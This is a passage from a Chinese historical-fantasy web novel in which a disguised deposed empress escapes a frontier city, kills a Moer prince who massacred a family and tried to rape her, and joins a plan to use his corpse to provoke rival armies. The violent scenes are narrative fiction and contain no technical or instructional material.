“咳咳……”凌云睨两人,朝金簪道,“你凭什么去寒雪关,凭怀里一杆枪/头生锈的钝枪?” 金簪微愣,泄气道:“慕容涛是祸国贼子。若是他不攻京都,而是前往寒雪关,不会给百姓带来这番灾厄。” “若慕容涛不攻京都,京都不乱,无人能将你从金宫偷运出来。听说高医女已经牵制不住梵阳大监。这才是沈太傅、祁司徒等人不得不为之举。而且,因为此举祸国,他们甘愿留在京城,与城共亡,以此赎罪。” 凌云暗叹口气,朝手下道:“秋刀,你进城买两身衣服,一顶围帽。按原定计划,我们扮作行脚商人出关。” “可是,慕容锤守着关卡,拿女帝画像……对哦,我瞥过一眼,士兵手上的画像是你们逃出秋山那会的模样,他们肯定不知道女帝已经换了……容貌。我现在就去买。”何秋刀立时起身,往山外跑去。 金簪目送他离去,垂目道:“出了关,我还是要去寒雪关。” 凌云磨牙,撇开眼道:“待出关再说。” 江城子挨近金簪,试探道:“那个……您真是女帝?听东面传来的消息,京城的大火整整烧半个多月,便是现在都可能还烧着呢。金宫也被慕容涛付之一炬。他甚至令下属屠城七日,抢撸七日,才带兵北上定山关。” “江城子……” 陆鱼儿拿小石子砸他,驽嘴示意他别再说。 金簪垂目不言,捏紧手里的轩辕短/枪。 她起身走到山间的水池边,静静地站在芦苇旁。 远方风烟俱净,天山共色。近处余晖映水,波光粼纹,这些美勾勒出金簪的轮廓。 她仿佛要融化了。 陆鱼儿瞧向透出哀伤的背影,被感染般道:“她是伤心的。可是,她又能做什么,不过只是个弱女子。” 江城子的态度发生一百八十度转弯,生出学海儒生的风骨。或许,他从一开始跪下后就在试探金簪。 他哼了声,慢慢道:“当不了皇帝就别当。咱们大周……呸,如今也没大周。我在西塞城听说道府要反,被慕容锤当街斩杀。 这么看来,天下人人都在学慕容涛。” 陆鱼儿嘘了声,颔首道:“张县君派头儿出来,说不定也存这个意思呢。” “咱们地儿的县君怎么可能有这意思啊。你忘记我们县府不过是个小渔村,能成什么大器。学海府才有意思,内陆几个大县镇以及道府府城,这些势力才有慕容涛一般的狼子野心。”江城子抱胸道,“接下来要看头儿的意思。” 凌云走至金簪的身旁,将装满温水的竹筒递去。 待金簪接过后喝水,他才道:“你若去寒雪关,有几成把握?” 金簪一路来都在考虑这个问题。 若要石鸣春举兵对付慕容涛,在此大势下确实不易。 如今,慕容涛退可北上返回燕地,进可南下东都,顺西行关外的三叉路往胜争、风华、荷卿等十多道府进军。 若是联合石鸣春对付摩尔人。石鸣春已有一套成熟的战略。 以女帝身份过去,只会给石鸣春增添麻烦。最主要一点:金平三年内,石鸣春不听调也不听宣,只听护国将军楚甲子。 石鸣春根本不买女帝的账。 凌云也在缓缓道:“若你想石鸣春帮你攻打西行关,那么西面雪狼国如何?慕容涛滑得像狐狸,石鸣春东进,只会浪费手中为数不多的护国军。 若是你不打扰他镇守寒雪关,以你一人之力,去了又能如何?” 【但是,现在支撑我活下去的理由便是登令楼上的誓言。 除此外,我还能求什么?】 金簪无比清醒道:“楚甲子。只要我能找到楚甲子,以他的护国将军的身份,再有那份忠心,定能说服石鸣春。只要楚甲子还在,我就还有东山再起、图谋天下的机会。” 凌云的眉心狠狠一跳,目光从她的侧面垂落至池岸的水草。水纹随风嶙峋,撞在水草上反荡回去,一圈又一圈,像是人心沟壑,永远填不平。 他暗吸口气,低声道:“随你。” 凌云返回江城子处,细细询问西塞城里的情况。 金簪落寞地站在斜晖下,心有思处,却不知真正该何去何从。 翌日,四男一女扮作行脚商,背上江城子一月来准备的山货、皮袄、杂货向城里走去。 金簪戴着长至半臂的淡青色帷幔,缀在凌云的身后,好奇地看向穿着各异服饰的西塞城人。 她连想起此地关隘通向西、南三方的门禁要地,三府交汇处,理应繁华热闹。 何秋刀瞧着城里的行人,调侃道:“北延兵入关,严查城里人出入,多少有些影响这热闹。” 江城子颔首道:“我按头儿的意思,刚来那会,沿街摊贩还不少呢。现在已经少了近四成。” 陆鱼儿闻言,勾唇道:“天下除京都和东都两地,其它地儿的百姓只管有吃有喝、外加不打战。没这些破事,谁不是开店忙活、赚个嚼用。 这一打战,地荒人散,都得忙着逃呢。” 江城子接话道:“近年,几大将军守关,除各地道府辖地内有争执打闹,胜争那边南下动兵外,只慕容涛的北延兵祸。 得亏楚将军留下的基础好,上任不过五年多,已打下一片定四方的基业。” 金簪心道:楚甲子当然好,那是朕以血书逼他出山。他的谋略也是朕给他划下。只因一时心软,留下梵阳才落得这般田地。若朕没有喝那杯茶,没有去按梵阳的脖子,一切都会按朕制定的计划走下去。 四方守将镇国,内有沈太傅、祁司徒这等贤臣助力,如何不能镇四方逆贼?朕又岂会落得如此下场? 街上转角处,凌云一眼望见那几道熟悉的身影。他一把拉住出神的金簪,将人带至身旁。 金簪顺势望去,正见一名高大的男人带几名下属走来。 彼此的目光搁着轻纱相触即离,金簪立在原地不曾动弹。对方已经旁若无人般带人擦肩而去。 凌云拉把停住的金簪,目不斜视,继续往前走。 金簪的双足顺惯性在动,脑子里只有三字:季飞扬。 【他怎么在西塞城?这人的容貌没怎么变,五官长开,气质更沉稳刚硬,唇线边角越发冷硬。我昏迷的几年,他在外应该极为自在,同天师道做了不少乱国之事吧。】 凌云的内心也过三字:季飞扬。 【他怎么在西塞城?难道月罗府要对付慕容涛?不,应该是胜争那边支使月罗府办事。又或者,为她而来?】 季飞扬擦过四男一女的队伍,突然停步。 他转身看向那道淡青色的帷幔,耳闻季成问话,回道:“我走遍大江南北,看过不少人文风情。除摩尔人的女子走路轻盈若跳外,中原少有女子走得如此方正。 何况,这般气质的女人出现在西塞城……” 【多少让我想到一个人。】 季钊明笑道:“少主,想女帝想疯了吧。暗探传信,女帝被慕容涛逼地跳崖,几无生还的可能。 不过,少主若心生存疑,属下跟上去瞧眼?” 季成回道:“现下,北延兵拿一张老妪画像找人。难道你要说女帝已经长成那样。若是那样,少主还惦念什么?” 季钊明觑眼转身的季飞扬,故意道:“你忘记了吧,京都传出女帝病重那会,少主亲自将雪蝉蛊送给莫云长。我们只是不知道女帝有没有能享用到呢? 画像上的老妪,形容枯槁,恐怕没用上哦。 哎……少主,你做什么去啊?” 季飞扬快步上前,绕过防卫的陆鱼儿等人,走至金簪的面前。 他拱手道:“姑娘,我们是否见过?”声线紧致而坚韧,是一个果断的人。 金簪的手颤了下,被凌云紧紧地握住。 陆鱼儿上前道:“哎,哪来的莽汉?这是我家夫人,休得胡言。” 季飞扬见女子不应,伸手来揭金簪的围帽,被凌云一把按住手。 凌云的目光冷冷地瞧向季飞扬,四目相触仿佛有火在燃。 季飞扬哈了声,卸了手上的力量。 待凌云也松手,他拱手道:“兄弟相貌堂堂,在下怠慢。只是,令夫人的行路姿势像极我一位故人,遂而有些痴狂孟浪。抱歉。” 金簪的眼神透过纱幔,落在季飞扬含笑的唇角。 这人还是如此不羁,看似沉稳,心性上依然放浪自我。 凌云淡声道:“无碍。我们赶着出关,借过。” 他说完,带金簪向前走去。 季飞扬让道一旁,垂目在金簪的背影,脑海里想起秋千架上的曼妙身姿,以及汤池里得诱人。 他被季钊明拉一把才回过神,启唇角笑道:“他们今日出不了城。阿成,你派人跟着他们。我们先回客栈。” 季成领命,吩咐手下跟去。 陆鱼儿靠近凌云,低声道:“头儿,有人跟在我们后面,应该是刚才那人的下属。” “我们只管出城,别管旁人。”凌云低声道,转头看向金簪。 因着围帽,他也看不清她的神色,想来她和季飞扬有过一场,应该难以忘记。 那些日子,凌云听季飞扬的口气,只差夜宿天机宫,真正给女帝侍寝了。 凌云敛去眸里的思绪,昂首向关卡走去。 ** “走走走。慕容大人说了,近日不准人出城。”士兵阻拦道。 凌云没硬闯,拉金簪往回走,又遣江城子去打听。 一会后,江城子跑回来道:“头,说是有探子入西塞城,以防泄露北延兵的动向,城里只准进不准出。” 金簪在围帽下扬眸道:“这说得会不会是刚才那伙人。他们的气质桀骜,颇有几分不寻常。不如以他们为饵,令城里的北延兵乱起来,我们再趁机出关。” 陆鱼儿一拍掌:“妙啊。若北延兵寻得是他们,咱们就这么做。头儿?” 凌云的目光从金簪的身上挪开,沉吟道:“人不害我,我不害人。先去城内客栈投宿,再寻对策。”他松开金簪的衣袖,大步往回走。 陆鱼儿和江城子、何秋刀对视一眼,默默地跟上去。 金簪看向前头四人的背影,捏紧掌心。 【络腮胡嘴硬心软,觉得我用心狠毒吗? 呵,妇人之仁。何况,那人可是季飞扬。即便我不恨他,也无法原谅因他隐瞒,而害凌少保一府入狱之事。】 金簪的喉口哽得厉害,心上泛起委屈。 她转入岔道,走入另一条街,见背后的人还在跟,目里微沉,疾步入店铺再从后院出去。她越想越气,内心咕哝道:吾乃堂堂大周女帝,如何被人无视自此。胆大狂徒,竟当街甩朕的脸,你甩给谁看? 彼时,凌云进客栈,见后面跟进的三人,诧异道:“她呢?” “呃……”陆鱼儿摆手,与另外两人对视,“这……我们也没必要一直对她负责。没有她,我们出关更方便,甚至可以直接南回。而且,她可以帮我们甩开那些人的跟踪。” “你……”凌云无语,直接奔出客栈。 江城子拦下凌云,厉目道:“头儿,你可想清楚。你与旁人的交易已经达成。现在不管她,没人说你错。但是,你若再沾她,那是海里刺嘴的旗鱼,一个不慎,肠穿肚烂啊。” “如今,各方势力若知道她活着,皆可借她名声以正大统而起事。你号称学海智者,竟糊涂了?”凌云一把推开江城子,跨步出门。 江城子跺脚,低声道:“大周已灭,天下再无正统,你扒上去才叫天下人为难。” 陆鱼儿拍在江城子的肩头,快口道:“愣着干什么,头儿去找人,你站这当柱子。”说着,他同何秋刀分头寻起来。 江城子看向四散的人,重重地叹口气:“罢了。有利有弊,只怕头儿脱不得美人关,反误他自己的性命。” 凌云什么都顾不上,沿来路向出关口寻去。 他一路不见金簪的踪迹,也碰上跟在后面的那探子。彼此心无旁骛地擦过去,凌云心中焦急,边找边道:此人也在搜寻,说明那女人甩脱了跟踪者。 待凌云寻到最初转身的地方,问路边的摊贩,都说人走了。 凌云寻几条街,最后站在街口屋檐下,一拳砸在墙面。 【该死,怪我因想起往事,生了逆反心。你究竟去哪了?】 彼时,金簪将人甩了后,心里得那点闷气因自得而疏解。 她寻个小吃摊,点一碗西塞城的胡辣汤沾饼,边吃边观察街上行人。 这一刻,她有种非常特别的感觉:人生应该要有这样的烟火生活。一口热汤沾饼,干湿适度,咸淡得宜。而不是一味被留在偌大的墙内,只能看院内的四景交替,天空如墙箍住的大小。 金簪的目光在大街上、人群中寻来荡去,瞧他们为生活认真的模样,情不自禁地笑起来。 老板盯看金簪一会,同旁边的女儿耳语一句,由她同客人去说。 店家的女儿过来道:“姐姐,我还没见过你这么漂亮的人。” 金簪将扯出一条缝进食的围帽整理妥当,柔声道:“谢谢。你很可爱。” “谢谢姐姐。阿爹说,姐姐不用付钱。姐姐长得好看,吃完就快点走吧。不然,若是姐姐被北延莽夫见着……”她低声附耳道,“会被拉去军营劳军,很惨的。” “劳军?”金簪想起母后曾做过事,抿唇点头,“以女子劳军乃是恶习,若是……将来有贤主,定会废除此举。谢谢你提醒我。” 她一摸衣襟,真拿不出一个子,唯有一只金色的甲套。 若问有多留恋这甲套,其实并没有。只是,金簪暂时想要留它。 她有些不好意思道:“谢谢你们请我喝这么好吃的汤和饼子。我……” 小姑娘在店里干的久,见她摸兜的举动就猜到几分。 她歪首笑道:“阿爹说了,姐姐不用付钱。姐姐还要饼子吗?” 金簪知道百姓生活不易,从前听凌少保讲过很多民间日常事。 她颇为歉意道:“谢谢。”她向正在擀皮子的店家行一礼,转身离去。 【这世上有这一汤一饼,有一份善言善心,便让我觉得人间还是有幸,值得再挣扎一番。】 “抓住那小子。”北延 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“嘶……挺辣。传闻说东面的姑娘水灵、温软,看来不尽不实。”伊兰天雪嘻嘻笑着,趁金簪后退时突进一步,出其不意地掀掉她的围帽。 “啊……”金簪被围帽的纱布挂住头簪,轻呼出声。 她瞪向呆住的青年,目光落在他腰间特别的匕首处。 匕首镶嵌各种颜色的宝石,一看便知非富即贵。 【东面!传闻!宝石!特殊的野性气味……寒雪关外来人。北延兵真正在查的人是他。莫非,寒雪关出事了?】 伊兰天雪将腰间的匕首抽出来,递去道:“喜欢?送你。” 金簪没有接。她太清楚这种神色了,不过是试探之举。 她一把抽掉头上的松枝木簪,散一肩的乌发,挂在簪上的围帽也落了地。 伊兰天雪吞口水,眨眼道:“你……是雪……”他旋即住口,收回匕首塞入怀,嘿哈笑道:“外头那些臭兵子应该走了,我们进去吧。” “进去?”金簪不解地看向这方常人居住的院落,缀在他的后面入宅。 伊兰天雪如入无人之境,在宅内走得像是猎食的狼一样,既轻巧还迅捷。 他用金簪为饵,金簪碰到一人,他就趁机杀一人,彻底暴露狼子的凶残心性。 伊兰天雪舔在刀匕上的血,见姑娘没再发出惊叫,满意道:“你的胆子很大。有……嗯,女中豪杰的风范。” 金簪垂落目光,摆手叫这些人逃,却发现常人遇到这种情况不是呆住就是反应不及。 她只能眼睁睁地看着这恶徒将这一家人全部杀死。 在满地的血污中,伊兰天雪登堂入室、喝水寻食物裹腹。 他没忘记金簪,将手里的窝窝头抛过去,含笑道:“味道不错,虽然冷了点。但是没关系。” 金簪看他无害的模样,再瞧院内零落的五具尸体,什么都吃不下。 她坐在堂中,低斥道:“为什么杀他们?” “我不想死,只能他们去死。我要躲几天,不杀他们岂不是有暴露的风险?”伊兰天雪理所当然道。 金簪猜到这人的来处。如此手段狠辣,杀周人如麻,加上他周身的异样,必是西面关外人。 【如今,我要怎么从他的手中脱身。若能将此人骗给北延兵,也能慰大周将士的亡魂。而且,寒雪关定是出事了。】 “啊……兜兜转转一夜,真是太累了。美人,陪我去睡一觉吧。”伊兰天雪说完就来抓金簪,见人躲过去,笑得更开心。 他的手指绕在匕刀的柄上,眼神露出狼般的凶狠。 “你知道在草原上,我们是怎么对待周人的女奴吗?虽然哥哥已经释放很多奴隶,但是我最喜欢看她们在原野上奔跑,在狼口下逃生。” 金簪的眼神凌厉,看向他,咬牙道:“你果然是……摩尔人。” “不错。不过,哥哥立国了,咱们现在叫雪狼国。我可喜欢这个名字。雪狼,正是我们的神。” 伊兰天雪说完,一步抢近,手掐金簪的下颚,对着她嘟起的唇,狠狠地吻下去,却是一沾即离。 他的唇角一滑,落在金簪的颈项,重重地吸吮起来。另一手毫不客气且精准地扣住金簪身前的死穴,将人制得无法动弹。 “啊……你……放开我。”金簪一侧头,向他的耳垂咬去。 伊兰天雪岂会不妨她,一个灵巧的撇头,反手一巴掌打在金簪的脸上。 他冷笑地看向她扑倒在厅中,一下抽开腰间皮袄下的金带,将它抽出来后向金簪打去。 金簪咬牙受了一记,转手抓住腰带。 但是,她的力量没有伊兰天雪强,反被他提带而起。 伊兰天雪狞笑出声,这样的搏斗让他本玩世不恭的神色多了几分狠辣和阴险。 他脱掉束缚的外袍,露出强者的上身,舔唇齿,狼笑道:“有趣。比起那些只会哭求、死人脸的大周女奴好玩多了。” 他拖过金簪,大掌扣在她的腰肢,将反抗的她强行压在厅内的方几。 伊兰天雪见金簪咬来,抓着她的头发将脑袋往木几上一砸,顺利地扯开金簪的衣衫,露出一身雪肤。 金簪被撞得头昏眼花,只看到一张可怖的脸扑来,喘息道:“朕要你不得好死。” 伊兰天雪已经沉入亢奋的情绪,埋首在她的颈项,喃喃道:“啊……果然,我的眼睛没看错。你真是美。” 他亲的不过瘾,将金簪如拎羊羔般抱起来,猛得俯下身,一口咬在金簪的后背,齿切入肌,吸吮起她的血肉。 “啊……” 金簪这会知道被啃咬的滋味。她的手下移,摸到绑在大腿处的轩辕短/枪。【不行,枪尖钝锈,杀不了他。】她的手一伸,却被警觉的狼人反扣在前。 金簪咬牙道:“我愿意……服侍你。你放开我,这样很不舒服。” 伊兰天雪顿了下,又将她翻过来。他松开金簪的手,去解腰间的裤头内绳。 金簪用力爬起来,仰面看向这张无法形容的脸。她一把抱住他的腰身,舔上肚腹。另一手摸到甲套,顺他的肌理往上爬,攀住他的脖子。 伊兰天雪舒服的嘤呤了一声,抓住金簪的肩头,沉声道:“我很讨厌吻女人的唇,但是,你,我可以一试。” “唔……”金簪被吻住,狠狠地抓起甲套往他的脖子侧面扎去。 “啊……贱人。”伊兰天雪猛得一推金簪,握在脖颈处。 他愕然地拔出金甲套,溅射一地血液。他歪着头,捂住伤口,向后退的金簪走近,阴戾笑道,“找死。呃……” 他猛地跪下身,扼住喉咙,好似呼吸困难。 金簪一把旋出轩辕枪,不管尖头如何钝,狠狠地刺向他的胸膛。 伊兰天雪一把抓住刺来的长/枪,痛苦又诧异道:“轩辕……” “轩辕氏,誓诛摩尔人。”金簪一个用力,枪尖擦过狼人的双手,狠刺进他的胸膛。 伊兰天雪抽搐两下,最终倒在地上。 金簪卸力后软倒在地,深深地吸了口气缓过劲。她爬到伊兰天雪的身旁,观他面部泛黑,心道:“中……毒了?” 再及他脖侧喷洒出来的血色暗黑,反手摸在后背的伤口处。除有点血外,已无伤痕了。 “蛊王……我的血,带毒?” “嗬……”缓过口气的金簪摸进这家人的宅子,寻了一套男子的青色布衣换上,而后将满头秀发一刀落断。 她简单地扎了个丸子头,再瞧脸上的红粉肌色,寻了门后墙灰抹在脸上。 待整理妥当,金簪重新走入大堂,瞧着那具尸体,抽出轩辕枪。她走去厨房,四下寻到一块磨刀石。 “多亏沈太傅教我的辨金之术。”她将枪/头沾水,一点点地磨起来。 眼泪吧嗒吧嗒地落下来,金簪听着磨刀的滋嚓声,想起适才的经历,仿佛做梦一样。 她哽咽了声,扔了枪,抱着膝头,无声地落泪。 天下之大,奈何没有我的容身处。天下纷纭,奈何我还有这样清醒的理智和绝望的目标。 为什么我不就此死去,或沦落为无知之人。 “啊……”金簪仰首痛哭,嘶嚎时对上一张毛脸。她哽了下,擦掉眼泪,撇脸道:“你怎么找到这?” 【情蛊。】凌云想要说什么,一句话都说出来。他弯身去拉金簪,反被她一巴掌打开手。 凌云不知道她发生什么,但是满地的尸首被一刀毙命,显然不是她能做到的事。 他转身入堂,见到那具赤身的男性尸体。这一瞬间,他才明白外面坚持磨枪的女子经历什么。 凌云快步出屋,去捏金簪的手,反被她转身一枪隔出距离。 “你……” “我什么。”金簪仰首,看向闪尖芒的枪尖,冷笑道,“没有你们,我照样能活下去。” 凌云深吸口气,垂首道:“对不起,我来晚了。此前都是我的错,不该一走了之。” “呵……”金簪想要硬气地说“你没什么对不起我,此后我们桥归桥路归路,各走各路。”然而,她在对方清澈旋漩涡的眼神下,冷静地说,“堂里是摩尔人。” 凌云暗出口气,再瞧她一身,却被金簪洞悉了。 金簪三步近前,仰首看向他,猛得出手抓住他的衣襟下拉,狠狠地吻了上去。 凌云的双目微睁,反手就推。 金簪被推开几步,呵呵呵地笑起来。 她侧面瞧他,冷笑道:“你推我是明智之举。他咬了我,中了血毒,才会被我有机可乘,先后被我刺在脖颈、胸膛两处。” 旋枪一出,枪尖抵在凌云的心口。金簪冷嗤道,“若你有这样的心思,我也可以送你全套服务。不然,你就蹂躏我的尸体。” 凌云曾经想过千百种金簪的性子,甚至因为想得太多而憎恶她的无能。在登令楼一舞后,他想爱却横亘着恨,他想恨却忘记不了她的渊博和美丽,以及高贵。 但是,无论怎样,他猜不到她是这种:柔时若水,狠时如兽。如水依依,可缠绵悱恻。畏时如兔、惧时如犬,反口咬来时又狠又快。 “我……若有,会询问你。” 金簪一愣,当真没想过这样的回答。 她哈哈大笑出声,诧异道:“君子?呵……男人、君子……总会挂钩的两词,却少有在一人身上出现。迄今为止,我只见过一人。” 【祁缙云,此间世上只有一个祁缙云至死证明他对妻子的忠贞。即便太傅沈长清,感情史也是荒诞可笑。那年他系在腰间的荷包女主,可不是他后来的发妻。】 金簪长出口气,旋锁枪/杆,将轩辕枪变短,而后插在后腰。此刻,她无比冷静而成熟道:“利用这具摩尔人的尸体趁乱出关,你不会再有愧疚之心吧?” 40. 共计 西塞城实行宵禁,入夜后街上无人。 慕容锤得了城门处的消息,下令道:“不管是女帝还是雪狼国来的探子,一律给本将军追查到底。” 北延兵开始全城搜捕今日在街上出现过的雪狼国探子。 ** “开门,快开门。巡查……”北延兵在小院门外敲打道。 陆鱼儿在街头喊道:“不好,起火了。城南库房起火了。” 搜查的北延兵往天空一看,真映红了。他放弃入宅的打算,带人往城南奔去。 凌云带人跃入小院,不仅将陆鱼儿等人带来,连季飞扬一行人都先后入宅。 金簪躲在东厢的窗前,忍不住后退了一步,将窗户关起。 季飞扬的目光警觉地往那方向瞥去,被凌云侧身挡下:“停云兄这是……” “那边是我内子的房间,今日于我拌嘴后受惊,现人在休息。”凌云朝季飞扬一干人道:“既然我们的目标一致,按约定来商量下怎么出城。” 季钊明掀起盖住尸体的衣袍,辨认过后惊异道:“少主,这是……伊兰天雪!?” 季飞扬绕过凌云,看向发黑的尸体,露出惊诧。 他喃喃道:“虽说面部泛黑,但确实是他。你们怎么擒住他,又杀了他?” 凌云蹙眉道:“偶然相遇,意外所杀。” 季飞扬的目光穿过凌云,望向东厢紧闭的门户。 他在凌云等人的眼神盯视下,拉起唇角笑道:“四年前,摩尔人中最大的两支西戎和北戎,联合各族在雪草城举行汗王大会。经过一年多的角逐后,北戎伊兰姓氏在数族中脱颖而出。 现在的大可汗名为伊兰天阙。他有位同胞兄弟叫伊兰天雪,被大可汗封为南照王,正是此人。 我们与他在……” 耳闻季成喊“少主”,季飞扬挥手道:“既然停云兄弟信任我们,我们也要以诚待之。 我们月罗府兵马与伊兰天雪这位南照王在草原上打过无数次交道。此人奸猾狠辣,在草原上有玉面雪狼之称,以驱周奴为兵,残杀周奴为乐。 这次,我们会离开月罗府,目的之一正是发现南照王在南边许久未曾现身,估测他回中部帮助伊兰天阙攻打寒雪关。半途上,我们被一伙身强体壮之人截杀,发现这些人的体格、招式有摩尔人的痕迹,趁机追入关内调查。这群人中的头目一直没有现身,原来是为躲避我们。今日西行关只进不出,抓得就是这伙人。” 东厢里的金簪在黑夜中背靠门户,一声没出。 【月罗府。季飞扬现在的根据地在月罗道府,乃是大周最西南的道府,背倚月罗山脉,占地广博,却是十分不好谋生。】 堂内,季钊明接话道:“各位好本事,竟能杀死此人。此人身强体壮,便是扎他脖子,一般的利器都不一定能贯穿其体表。” 说完,他的目光落在东厢处。 今日这方的小娘子走丢一事,他们的探子也报回来。 【如今南照王穿戴整齐躺在这,脖颈有伤,足见是近身所刺。 一个人能被这般杀死,在场除少主外,几不能行。那么,能下手的情况只有一种,伊兰天雪被女子近身,大意被杀。】 凌云瞧他们只拉开罩布上角就说法纷纭,冷静道:“他是被鱼刺过胸而亡。脖颈处的伤只是令他分心。” 季钊明愣了下,拉开整个罩布,露出完整的尸身。他发现尸首胸口上的刺痕:“这……呵呵呵……确实是毙命之伤,而且被刺很多次,像是血棘刺,海边人特有的鱼刺。” 【论起来,脖子处的血洞不浅。杀他的人一定用全力。若女子会用鱼刺,这妇人就不可能是少主想见的人。呼……】 “最主要是中毒……”何秋刀说完,赶紧闭口。在凌云望来时,他砸下嘴巴,示意闭口不再言。 季钊明再探脖子伤口,恍然道:“果然,中毒再刺,这样容易得多。可是,如何令他中毒……”他仰面见季飞扬的脸色明晦不定,闭了口。 江城子呵呵轻笑,转移话题:“话说回来,伊兰天阙正在攻打寒雪关。玉面雪狼又是怎么入关?” 凌云将手里的信筒递给季飞扬。待几人都看过后,他缓缓道:“火漆是我现拆。若是此信送到慕容锤手中,寒雪关危矣。” 季飞扬的面上极为慎重,庆幸道:“幸好被你截下了。” 季成呸了声,骂道:“慕容涛在北边给摩尔人放水。如今,他难道想将寒雪关送给摩尔人。他不知道一旦这些狼人过秦连长墙,境内国土只能任他们抢掠。” “北延兵又为何追这……南照王?”陆鱼儿问道,“按理他不是来给慕容涛送信?” “若我料的没错,他们应该是从风华道府境内的东阳山翻过来。”季飞扬想起入关前遇上得那一伙贼子,“早前,我就说过,这些人大有可能是摩尔人。但是,所遇得都是生面孔,难以判断。如今,伊兰天雪在此,就好断言。” 季钊明疑惑道:“东阳山那边的乱石林是秦连长墙地势最高得一段,占险、陡两字,属实关山难越,正是我们中原人最想不到被攻破的地方。这么说,伊兰天阙就是利用中原人这个想法在那里搞事。天啊,雪狼国怎么想到、做到呢?” “这只能说明,伊兰天阙绝对是摩尔人近百多年来诞生的天才。以他凭借部落势力夺取汗王之位,推改周奴为平民、利用周人实行农耕等事,足见其谋略、智慧、胸襟,以及野心。若再让他发展多年,西六府三城就真拿不回来。” 季飞扬的目光深冷,凝向凌云时缓了面色,“幸亏停云兄有这意外收获。如今,我们要出关,前往乱石林探寻。若是能找到摩尔人入关线索,尽早阻止。与此同时……” 他对季成等人道,“此次外出,我们没有向胜争那边报备,若有此收获,对轩辕日照有个交代。” 凌云从这些人的三言两语里探到一点消息。果然同季氏合作,可以获得此地更多的消息。 “那么,我们来利用下这份火漆信函和这具尸体,如何?” “怎么做?”季飞扬撩眸道。 “原本,我只是打算利用他的尸体,在城东引火,派人调走守卫,再趁机出城。如今,这具尸体身份珍贵,我们或许可以利用他引北延兵和摩尔人一战,同时解决定山关冯萧将军的燃眉之急,正是驱摩尔狼军行围魏救赵之举。”凌云将意图道出。 季飞扬双眸微亮,颔首道:“停云兄好计策。伊兰天阙对这个兄弟十分喜爱,将偌大南部地界分他治理。如今,他不明不白死在送信途中,正好利用慕容家内部的矛盾关系。” 他见凌云一方不解,由季成来解说。 季成道:“慕容涛的势力在北上燕地,共有三府。三府乃是由石、慕容、东方三姓氏组成。其中,东方被慕容家所灭,而石鸣春为自保,在十年前趁机带兵脱离北延,常驻寒雪关。如今,慕容家在燕地独大,分出几支旁系。其中,慕容锤乃是慕容涛的表侄,看似亲近,实则蓄谋夺权已久。这番慕容锤的手下在沿街搜捕此人就可以窥一二,想必慕容涛在北地所为已经不得民心。慕容锤的父亲可是被伊兰天阙的狼军啃杀。” 陆鱼儿摸了摸鼻子,听懂后震惊道:“你的意思是说慕容锤和伊兰家是血仇,不可能赞同慕容涛与雪狼人合作。” “不错。因为此前的女帝风波,大家都以为慕容涛带兵西行关,却不想来得是慕容锤。以慕容锤的性子和经历,搜捕此人,理所当然。”季成点明道。 陆鱼儿震惊道:“我的天,天下还有你们月罗府不知道的事吗?” 季飞扬的神色不明,缓缓道:“当然。比如,女帝是生是死,若是生还,如今又在何方?”他的目光与凌云对上,彼此都没有放过对方。 季成轻咳了声,高声道:“我们月罗府最赚钱的买卖就是给江湖人、各方势力贩卖消息。兄台若是有需要,我可以酌情给打个折。” 陆鱼儿砸下嘴巴,呵呵两声。 季飞扬也呵笑了声,放光这似曾相识的沉静目光。他走至伊兰天雪的尸体边,含笑道:“这具尸体确实不能留在西行关。他的人因为适才那把火正和北延兵交战。可是,若我们将他的尸体带往别地,恐又来不及。尸体毒腐,藏不久。停云兄的计划虽好,但是操作不易。” 江城子上前道:“我们可以将他送给慕容锤,引你们遇见的摩尔人查到他的尸体所在,再放这些摩尔探子返回乱石林。顺藤摸瓜,寻到他们突破秦连长墙的地点。” “妙。若是伊兰天阙的动作够快,啃不下寒雪关这块骨头,必然会退回西北,绕秦连长墙攻打燕地,正好按张兄之意,解定山关之困。如若慕容涛本有意同伊兰天阙合作,慕容锤这一支刚好趁机夺权。与其挥戈动兵,不如让他们内部自相残杀以减弱势力。” 季飞扬的目光落在凌云和江城子身上,缓缓笑道:“停云兄,你和这帮子兄弟各个不错,有没有兴趣来月罗府?” 凌云与江城子目光相触即离。凌云拱手道:“多谢季兄高台,不过,我们是学海人士,过不惯内地生活。” 季钊明挑眉笑道:“这套客气话就别说了。你们几个人完不成这事,才找我们合作吧。单说出关一事,难不倒我们。咱们少主说了,以诚相待。” 陆鱼儿不服气道:“先前就说好,大家目标一致,都为出关才聚一起。你这话什么意思,我们头儿没说错啊。这内地的河鲜又腥又难料理,确实不如海里的食材好吃。” 江城子呵呵一笑,摆手道:“鱼儿不必如此。大家有缘相聚,趁机搞一份大事,不枉来此一场,相遇一次。” “说得好。以免夜长梦多,我们现在就分头行动。”季飞扬朝季钊明颔首,吩咐季成道,“一会钊明和你将尸体运往将军府,我带人去救那些被北延兵围困的摩尔人,再引去将军府。此中能逃出一个都算我们的计划成功。城中闹起来后……” 江城子莞尔道:“此地偏角,即使火烧起来也燃不到邻里。我们趁机引开东城门守卫,届时城门大开,摩尔人若能逃生就能趁机出城。你们黄雀在后,出城、追捕,都更容易。” “好。一言为定。”季飞扬向不怎么说话的凌云伸出拳。这是一个试探的举动。 凌云的手微拳,转身道:“行动吧。” 季飞扬哈哈一笑,随即低吟:“凌云……是你吗?”那人的背影毫无停留地向院里走去,季飞扬深出口气,目光从黑夜里的东厢房收回,朝季成等人吩咐:“行动。” 小院在季氏一行人走后安静下来。 金簪推开东厢门,看向立在院内的凌云,疑惑道:“他们这些人如何知道摩尔人行踪?” “近几年,月罗府出产两样东西,一是雪蝉蛊,二是消息。月罗探子几乎遍布西南、中原一代,便是城里也有不少月罗府的暗探。若是要问谁知道摩尔人在哪、如何进关,问他们必有答案。” 凌云转身,面对她,轻声道,“适才……因为关乎你的身份和清誉,我将尸体做番手脚,没有告诉他们,人是你所杀。” “无妨。杀人也不是什么荣光的事。”【何况是在那样的情形下杀人。】 金簪撇开脸,“这家人死的无辜。在离开前,烦请你将他们安葬吧。” 凌云闻言,眸光微柔,温声道:“好。” 金簪的耳尖轻动,侧眸撇去。彼此的目光相触,莹莹月色如浪,似荡进彼此的内心之海。她轻扯唇角,毫不犹豫地转身离开。 凌云垂目,捏紧拳。 【刚刚……真是差点犯糊涂,怪……月色温柔。】 后半夜,天明前最黑暗的时间,西塞城乱起来。 火光冲天,喊杀声也响起来。对于北延兵和慕容锤来说,这一夜就没消停过。 金簪被凌云紧紧地拉着,耳闻吱呀开门声,心都滚烫了下。 “快走,几个摩尔人骑马往这边杀过来了。”陆鱼儿跑过来道。 